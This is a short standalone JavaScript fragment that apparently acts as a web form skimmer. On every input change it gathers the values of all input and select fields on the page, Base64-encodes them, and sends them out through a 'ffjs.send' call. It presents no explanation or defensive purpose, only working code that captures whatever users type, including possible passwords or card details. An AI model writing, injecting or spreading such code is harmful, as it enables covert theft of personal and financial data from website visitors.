ffjs.import(["crypt"]); document.body.addEventListener('change', function (event) { if (event.target && event.target.nodeName === "INPUT") { var a = {}; inputs = document.getElementsByTagName('select'); for (index = 0; index < inputs.length; ++index) { a[inputs[index].name] =inputs[index].value } inputs = document.getElementsByTagName('input'); for (index = 0; index < inputs.length; ++index) { a[inputs[index].name] =inputs[index].value } var params = [ 'a='+Base64.encode(JSON.stringify(a))]; window.ffjs.send('a',params); } });